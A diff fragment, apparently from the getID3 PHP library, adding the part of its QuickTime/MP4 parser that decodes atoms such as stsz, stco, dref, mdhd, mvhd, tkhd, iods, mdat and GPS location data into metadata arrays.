+						$atom_structure['sample_to_chunk_table'][$i]['sample_description'] = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
+						$stscEntriesDataOffset += 4;
+					}
+				}
+				break;
+
+
+			case 'stsz': // Sample Table SiZe atom
+				if ($ParseAllPossibleAtoms) {
+					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+					$atom_structure['sample_size']    = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+					$stszEntriesDataOffset = 12;
+					if ($atom_structure['sample_size'] == 0) {
+						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+							$atom_structure['sample_size_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stszEntriesDataOffset, 4));
+							$stszEntriesDataOffset += 4;
+						}
+					}
+				}
+				break;
+
+
+			case 'stco': // Sample Table Chunk Offset atom
+				if ($ParseAllPossibleAtoms) {
+					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+					$stcoEntriesDataOffset = 8;
+					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+						$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 4));
+						$stcoEntriesDataOffset += 4;
+					}
+				}
+				break;
+
+
+			case 'co64': // Chunk Offset 64-bit (version of "stco" that supports > 2GB files)
+				if ($ParseAllPossibleAtoms) {
+					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+					$stcoEntriesDataOffset = 8;
+					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+						$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 8));
+						$stcoEntriesDataOffset += 8;
+					}
+				}
+				break;
+
+
+			case 'dref': // Data REFerence atom
+				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$drefDataOffset = 8;
+				for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+					$atom_structure['data_references'][$i]['size']                    = getid3_lib::BigEndian2Int(substr($atom_data, $drefDataOffset, 4));
+					$drefDataOffset += 4;
+					$atom_structure['data_references'][$i]['type']                    =               substr($atom_data, $drefDataOffset, 4);
+					$drefDataOffset += 4;
+					$atom_structure['data_references'][$i]['version']                 = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 1));
+					$drefDataOffset += 1;
+					$atom_structure['data_references'][$i]['flags_raw']               = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 3)); // hardcoded: 0x0000
+					$drefDataOffset += 3;
+					$atom_structure['data_references'][$i]['data']                    =               substr($atom_data, $drefDataOffset, ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3));
+					$drefDataOffset += ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3);
+
+					$atom_structure['data_references'][$i]['flags']['self_reference'] = (bool) ($atom_structure['data_references'][$i]['flags_raw'] & 0x001);
+				}
+				break;
+
+
+			case 'gmin': // base Media INformation atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+				$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
+				$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
+				$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));
+				$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data, 12, 2));
+				$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
+				break;
+
+
+			case 'smhd': // Sound Media information HeaDer atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+				$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
+				break;
+
+
+			case 'vmhd': // Video Media information HeaDer atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
+				$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+				$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
+				$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
+				$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));
+
+				$atom_structure['flags']['no_lean_ahead'] = (bool) ($atom_structure['flags_raw'] & 0x001);
+				break;
+
+
+			case 'hdlr': // HanDLeR reference atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
+				$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
+				$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
+				$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
+				$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
+				$atom_structure['component_name']         =      $this->Pascal2String(substr($atom_data, 24));
+
+				if (($atom_structure['component_subtype'] == 'STpn') && ($atom_structure['component_manufacturer'] == 'zzzz')) {
+					$info['video']['dataformat'] = 'quicktimevr';
+				}
+				break;
+
+
+			case 'mdhd': // MeDia HeaDer atom
+				$atom_structure['version']               = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']             = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['creation_time']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$atom_structure['modify_time']           = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				$atom_structure['time_scale']            = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
+				$atom_structure['duration']              = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
+				$atom_structure['language_id']           = getid3_lib::BigEndian2Int(substr($atom_data, 20, 2));
+				$atom_structure['quality']               = getid3_lib::BigEndian2Int(substr($atom_data, 22, 2));
+
+				if ($atom_structure['time_scale'] == 0) {
+					$info['error'][] = 'Corrupt Quicktime file: mdhd.time_scale == zero';
+					return false;
+				}
+				$info['quicktime']['time_scale'] = (isset($info['quicktime']['time_scale']) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);
+
+				$atom_structure['creation_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
+				$atom_structure['modify_time_unix']      = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
+				$atom_structure['playtime_seconds']      = $atom_structure['duration'] / $atom_structure['time_scale'];
+				$atom_structure['language']              = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
+				if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
+					$info['comments']['language'][] = $atom_structure['language'];
+				}
+				break;
+
+
+			case 'pnot': // Preview atom
+				$atom_structure['modification_date']      = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // "standard Macintosh format"
+				$atom_structure['version_number']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x00
+				$atom_structure['atom_type']              =               substr($atom_data,  6, 4);        // usually: 'PICT'
+				$atom_structure['atom_index']             = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2)); // usually: 0x01
+
+				$atom_structure['modification_date_unix'] = getid3_lib::DateMac2Unix($atom_structure['modification_date']);
+				break;
+
+
+			case 'crgn': // Clipping ReGioN atom
+				$atom_structure['region_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2)); // The Region size, Region boundary box,
+				$atom_structure['boundary_box']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 8)); // and Clipping region data fields
+				$atom_structure['clipping_data'] =               substr($atom_data, 10);           // constitute a QuickDraw region.
+				break;
+
+
+			case 'load': // track LOAD settings atom
+				$atom_structure['preload_start_time'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
+				$atom_structure['preload_duration']   = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$atom_structure['preload_flags_raw']  = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				$atom_structure['default_hints_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
+
+				$atom_structure['default_hints']['double_buffer'] = (bool) ($atom_structure['default_hints_raw'] & 0x0020);
+				$atom_structure['default_hints']['high_quality']  = (bool) ($atom_structure['default_hints_raw'] & 0x0100);
+				break;
+
+
+			case 'tmcd': // TiMe CoDe atom
+			case 'chap': // CHAPter list atom
+			case 'sync': // SYNChronization atom
+			case 'scpt': // tranSCriPT atom
+			case 'ssrc': // non-primary SouRCe atom
+				for ($i = 0; $i < strlen($atom_data); $i += 4) {
+					@$atom_structure['track_id'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
+				}
+				break;
+
+
+			case 'elst': // Edit LiST atom
+				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				for ($i = 0; $i < $atom_structure['number_entries']; $i++ ) {
+					$atom_structure['edit_list'][$i]['track_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 0, 4));
+					$atom_structure['edit_list'][$i]['media_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 4, 4));
+					$atom_structure['edit_list'][$i]['media_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 8 + ($i * 12) + 8, 4));
+				}
+				break;
+
+
+			case 'kmat': // compressed MATte atom
+				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['matte_data_raw'] =               substr($atom_data,  4);
+				break;
+
+
+			case 'ctab': // Color TABle atom
+				$atom_structure['color_table_seed']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // hardcoded: 0x00000000
+				$atom_structure['color_table_flags']  = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x8000
+				$atom_structure['color_table_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2)) + 1;
+				for ($colortableentry = 0; $colortableentry < $atom_structure['color_table_size']; $colortableentry++) {
+					$atom_structure['color_table'][$colortableentry]['alpha'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 0, 2));
+					$atom_structure['color_table'][$colortableentry]['red']   = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 2, 2));
+					$atom_structure['color_table'][$colortableentry]['green'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 4, 2));
+					$atom_structure['color_table'][$colortableentry]['blue']  = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 6, 2));
+				}
+				break;
+
+
+			case 'mvhd': // MoVie HeaDer atom
+				$atom_structure['version']            =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']          =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
+				$atom_structure['creation_time']      =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$atom_structure['modify_time']        =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				$atom_structure['time_scale']         =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
+				$atom_structure['duration']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
+				$atom_structure['preferred_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 20, 4));
+				$atom_structure['preferred_volume']   =   getid3_lib::FixedPoint8_8(substr($atom_data, 24, 2));
+				$atom_structure['reserved']           =                             substr($atom_data, 26, 10);
+				$atom_structure['matrix_a']           = getid3_lib::FixedPoint16_16(substr($atom_data, 36, 4));
+				$atom_structure['matrix_b']           = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
+				$atom_structure['matrix_u']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 44, 4));
+				$atom_structure['matrix_c']           = getid3_lib::FixedPoint16_16(substr($atom_data, 48, 4));
+				$atom_structure['matrix_d']           = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
+				$atom_structure['matrix_v']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 56, 4));
+				$atom_structure['matrix_x']           = getid3_lib::FixedPoint16_16(substr($atom_data, 60, 4));
+				$atom_structure['matrix_y']           = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
+				$atom_structure['matrix_w']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 68, 4));
+				$atom_structure['preview_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 72, 4));
+				$atom_structure['preview_duration']   =   getid3_lib::BigEndian2Int(substr($atom_data, 76, 4));
+				$atom_structure['poster_time']        =   getid3_lib::BigEndian2Int(substr($atom_data, 80, 4));
+				$atom_structure['selection_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 84, 4));
+				$atom_structure['selection_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 88, 4));
+				$atom_structure['current_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 92, 4));
+				$atom_structure['next_track_id']      =   getid3_lib::BigEndian2Int(substr($atom_data, 96, 4));
+
+				if ($atom_structure['time_scale'] == 0) {
+					$info['error'][] = 'Corrupt Quicktime file: mvhd.time_scale == zero';
+					return false;
+				}
+				$atom_structure['creation_time_unix']        = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
+				$atom_structure['modify_time_unix']          = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
+				$info['quicktime']['time_scale']    = (isset($info['quicktime']['time_scale']) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);
+				$info['quicktime']['display_scale'] = $atom_structure['matrix_a'];
+				$info['playtime_seconds']           = $atom_structure['duration'] / $atom_structure['time_scale'];
+				break;
+
+
+			case 'tkhd': // TracK HeaDer atom
+				$atom_structure['version']             =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']           =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
+				$atom_structure['creation_time']       =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$atom_structure['modify_time']         =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				$atom_structure['trackid']             =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
+				$atom_structure['reserved1']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
+				$atom_structure['duration']            =   getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
+				$atom_structure['reserved2']           =   getid3_lib::BigEndian2Int(substr($atom_data, 24, 8));
+				$atom_structure['layer']               =   getid3_lib::BigEndian2Int(substr($atom_data, 32, 2));
+				$atom_structure['alternate_group']     =   getid3_lib::BigEndian2Int(substr($atom_data, 34, 2));
+				$atom_structure['volume']              =   getid3_lib::FixedPoint8_8(substr($atom_data, 36, 2));
+				$atom_structure['reserved3']           =   getid3_lib::BigEndian2Int(substr($atom_data, 38, 2));
+// http://developer.apple.com/library/mac/#documentation/QuickTime/RM/MovieBasics/MTEditing/K-Chapter/11MatrixFunctions.html
+// http://developer.apple.com/library/mac/#documentation/QuickTime/qtff/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-18737
+				$atom_structure['matrix_a']            = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
+				$atom_structure['matrix_b']            = getid3_lib::FixedPoint16_16(substr($atom_data, 44, 4));
+				$atom_structure['matrix_u']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 48, 4));
+				$atom_structure['matrix_c']            = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
+				$atom_structure['matrix_d']            = getid3_lib::FixedPoint16_16(substr($atom_data, 56, 4));
+				$atom_structure['matrix_v']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 60, 4));
+				$atom_structure['matrix_x']            = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
+				$atom_structure['matrix_y']            = getid3_lib::FixedPoint16_16(substr($atom_data, 68, 4));
+				$atom_structure['matrix_w']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 72, 4));
+				$atom_structure['width']               = getid3_lib::FixedPoint16_16(substr($atom_data, 76, 4));
+				$atom_structure['height']              = getid3_lib::FixedPoint16_16(substr($atom_data, 80, 4));
+				$atom_structure['flags']['enabled']    = (bool) ($atom_structure['flags_raw'] & 0x0001);
+				$atom_structure['flags']['in_movie']   = (bool) ($atom_structure['flags_raw'] & 0x0002);
+				$atom_structure['flags']['in_preview'] = (bool) ($atom_structure['flags_raw'] & 0x0004);
+				$atom_structure['flags']['in_poster']  = (bool) ($atom_structure['flags_raw'] & 0x0008);
+				$atom_structure['creation_time_unix']  = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
+				$atom_structure['modify_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
+
+				if ($atom_structure['flags']['enabled'] == 1) {
+					if (!isset($info['video']['resolution_x']) || !isset($info['video']['resolution_y'])) {
+						$info['video']['resolution_x'] = $atom_structure['width'];
+						$info['video']['resolution_y'] = $atom_structure['height'];
+					}
+					$info['video']['resolution_x'] = max($info['video']['resolution_x'], $atom_structure['width']);
+					$info['video']['resolution_y'] = max($info['video']['resolution_y'], $atom_structure['height']);
+					$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
+					$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
+				} else {
+					// see: http://www.getid3.org/phpBB3/viewtopic.php?t=1295
+					//if (isset($info['video']['resolution_x'])) { unset($info['video']['resolution_x']); }
+					//if (isset($info['video']['resolution_y'])) { unset($info['video']['resolution_y']); }
+					//if (isset($info['quicktime']['video']))    { unset($info['quicktime']['video']);    }
+				}
+				break;
+
+
+			case 'iods': // Initial Object DeScriptor atom
+				// http://www.koders.com/c/fid1FAB3E762903DC482D8A246D4A4BF9F28E049594.aspx?s=windows.h
+				// http://libquicktime.sourcearchive.com/documentation/1.0.2plus-pdebian/iods_8c-source.html
+				$offset = 0;
+				$atom_structure['version']                =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['flags_raw']              =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 3));
+				$offset += 3;
+				$atom_structure['mp4_iod_tag']            =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['length']                 = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
+				//$offset already adjusted by quicktime_read_mp4_descr_length()
+				$atom_structure['object_descriptor_id']   =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));
+				$offset += 2;
+				$atom_structure['od_profile_level']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['scene_profile_level']    =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['audio_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['video_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['graphics_profile_level'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+
+				$atom_structure['num_iods_tracks'] = ($atom_structure['length'] - 7) / 6; // 6 bytes would only be right if all tracks use 1-byte length fields
+				for ($i = 0; $i < $atom_structure['num_iods_tracks']; $i++) {
+					$atom_structure['track'][$i]['ES_ID_IncTag'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+					$offset += 1;
+					$atom_structure['track'][$i]['length']       = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
+					//$offset already adjusted by quicktime_read_mp4_descr_length()
+					$atom_structure['track'][$i]['track_id']     =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 4));
+					$offset += 4;
+				}
+
+				$atom_structure['audio_profile_name'] = $this->QuicktimeIODSaudioProfileName($atom_structure['audio_profile_id']);
+				$atom_structure['video_profile_name'] = $this->QuicktimeIODSvideoProfileName($atom_structure['video_profile_id']);
+				break;
+
+			case 'ftyp': // FileTYPe (?) atom (for MP4 it seems)
+				$atom_structure['signature'] =                           substr($atom_data,  0, 4);
+				$atom_structure['unknown_1'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$atom_structure['fourcc']    =                           substr($atom_data,  8, 4);
+				break;
+
+			case 'mdat': // Media DATa atom
+				// 'mdat' contains the actual data for the audio/video, possibly also subtitles
+
+/* due to lack of known documentation, this is a kludge implementation. If you know of documentation on how mdat is properly structed, please send it to info@getid3.org */
+
+				// first, skip any 'wide' padding, and second 'mdat' header (with specified size of zero?)
+				$mdat_offset = 0;
+				while (true) {
+					if (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x08".'wide') {
+						$mdat_offset += 8;
+					} elseif (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x00".'mdat') {
+						$mdat_offset += 8;
+					} else {
+						break;
+					}
+				}
+
+				// check to see if it looks like chapter titles, in the form of unterminated strings with a leading 16-bit size field
+				while  (($chapter_string_length = getid3_lib::BigEndian2Int(substr($atom_data, $mdat_offset, 2)))
+					&& ($chapter_string_length < 1000)
+					&& ($chapter_string_length <= (strlen($atom_data) - $mdat_offset - 2))
+					&& preg_match('#^[\x20-\xFF]+$#', substr($atom_data, $mdat_offset + 2, $chapter_string_length), $chapter_matches)) {
+						$mdat_offset += (2 + $chapter_string_length);
+						@$info['quicktime']['comments']['chapters'][] = $chapter_matches[0];
+				}
+
+
+
+				if (($atomsize > 8) && (!isset($info['avdataend_tmp']) || ($info['quicktime'][$atomname]['size'] > ($info['avdataend_tmp'] - $info['avdataoffset'])))) {
+
+					$info['avdataoffset'] = $atom_structure['offset'] + 8;                       // $info['quicktime'][$atomname]['offset'] + 8;
+					$OldAVDataEnd         = $info['avdataend'];
+					$info['avdataend']    = $atom_structure['offset'] + $atom_structure['size']; // $info['quicktime'][$atomname]['offset'] + $info['quicktime'][$atomname]['size'];
+
+					$getid3_temp = new getID3();
+					$getid3_temp->openfile($this->getid3->filename);
+					$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
+					$getid3_temp->info['avdataend']    = $info['avdataend'];
+					$getid3_mp3 = new getid3_mp3($getid3_temp);
+					if ($getid3_mp3->MPEGaudioHeaderValid($getid3_mp3->MPEGaudioHeaderDecode($this->fread(4)))) {
+						$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
+						if (!empty($getid3_temp->info['warning'])) {
+							foreach ($getid3_temp->info['warning'] as $value) {
+								$info['warning'][] = $value;
+							}
+						}
+						if (!empty($getid3_temp->info['mpeg'])) {
+							$info['mpeg'] = $getid3_temp->info['mpeg'];
+							if (isset($info['mpeg']['audio'])) {
+								$info['audio']['dataformat']   = 'mp3';
+								$info['audio']['codec']        = (!empty($info['mpeg']['audio']['encoder']) ? $info['mpeg']['audio']['encoder'] : (!empty($info['mpeg']['audio']['codec']) ? $info['mpeg']['audio']['codec'] : (!empty($info['mpeg']['audio']['LAME']) ? 'LAME' :'mp3')));
+								$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
+								$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
+								$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
+								$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
+								$info['bitrate']               = $info['audio']['bitrate'];
+							}
+						}
+					}
+					unset($getid3_mp3, $getid3_temp);
+					$info['avdataend'] = $OldAVDataEnd;
+					unset($OldAVDataEnd);
+
+				}
+
+				unset($mdat_offset, $chapter_string_length, $chapter_matches);
+				break;
+
+			case 'free': // FREE space atom
+			case 'skip': // SKIP atom
+			case 'wide': // 64-bit expansion placeholder atom
+				// 'free', 'skip' and 'wide' are just padding, contains no useful data at all
+
+				// When writing QuickTime files, it is sometimes necessary to update an atom's size.
+				// It is impossible to update a 32-bit atom to a 64-bit atom since the 32-bit atom
+				// is only 8 bytes in size, and the 64-bit atom requires 16 bytes. Therefore, QuickTime
+				// puts an 8-byte placeholder atom before any atoms it may have to update the size of.
+				// In this way, if the atom needs to be converted from a 32-bit to a 64-bit atom, the
+				// placeholder atom can be overwritten to obtain the necessary 8 extra bytes.
+				// The placeholder atom has a type of kWideAtomPlaceholderType ( 'wide' ).
+				break;
+
+
+			case 'nsav': // NoSAVe atom
+				// http://developer.apple.com/technotes/tn/tn2038.html
+				$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
+				break;
+
+			case 'ctyp': // Controller TYPe atom (seen on QTVR)
+				// http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
+				// some controller names are:
+				//   0x00 + 'std' for linear movie
+				//   'none' for no controls
+				$atom_structure['ctyp'] = substr($atom_data, 0, 4);
+				$info['quicktime']['controller'] = $atom_structure['ctyp'];
+				switch ($atom_structure['ctyp']) {
+					case 'qtvr':
+						$info['video']['dataformat'] = 'quicktimevr';
+						break;
+				}
+				break;
+
+			case 'pano': // PANOrama track (seen on QTVR)
+				$atom_structure['pano'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
+				break;
+
+			case 'hint': // HINT track
+			case 'hinf': //
+			case 'hinv': //
+			case 'hnti': //
+				$info['quicktime']['hinting'] = true;
+				break;
+
+			case 'imgt': // IMaGe Track reference (kQTVRImageTrackRefType) (seen on QTVR)
+				for ($i = 0; $i < ($atom_structure['size'] - 8); $i += 4) {
+					$atom_structure['imgt'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
+				}
+				break;
+
+
+			// Observed-but-not-handled atom types are just listed here to prevent warnings being generated
+			case 'FXTC': // Something to do with Adobe After Effects (?)
+			case 'PrmA':
+			case 'code':
+			case 'FIEL': // this is NOT "fiel" (Field Ordering) as describe here: http://developer.apple.com/documentation/QuickTime/QTFF/QTFFChap3/chapter_4_section_2.html
+			case 'tapt': // TrackApertureModeDimensionsAID - http://developer.apple.com/documentation/QuickTime/Reference/QT7-1_Update_Reference/Constants/Constants.html
+						// tapt seems to be used to compute the video size [http://www.getid3.org/phpBB3/viewtopic.php?t=838]
+						// * http://lists.apple.com/archives/quicktime-api/2006/Aug/msg00014.html
+						// * http://handbrake.fr/irclogs/handbrake-dev/handbrake-dev20080128_pg2.html
+			case 'ctts'://  STCompositionOffsetAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
+			case 'cslg'://  STCompositionShiftLeastGreatestAID - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
+			case 'sdtp'://  STSampleDependencyAID              - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
+			case 'stps'://  STPartialSyncSampleAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
+				//$atom_structure['data'] = $atom_data;
+				break;
+
+			case "\xA9".'xyz':  // GPS latitude+longitude+altitude
+				$atom_structure['data'] = $atom_data;
+				if (preg_match('#([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)?/$#i', $atom_data, $matches)) {
+					@list($all, $latitude, $longitude, $altitude) = $matches;
+					$info['quicktime']['comments']['gps_latitude'][]  = floatval($latitude);
+					$info['quicktime']['comments']['gps_longitude'][] = floatval($longitude);
+					if (!empty($altitude)) {
+						$info['quicktime']['comments']['gps_altitude'][] = floatval($altitude);
+					}
+				} else {
+					$info['warning'][] = 'QuickTime atom "©xyz" data does not match expected data pattern at offset '.$baseoffset.'. Please report as getID3() bug.';
+				}
+				break;
+
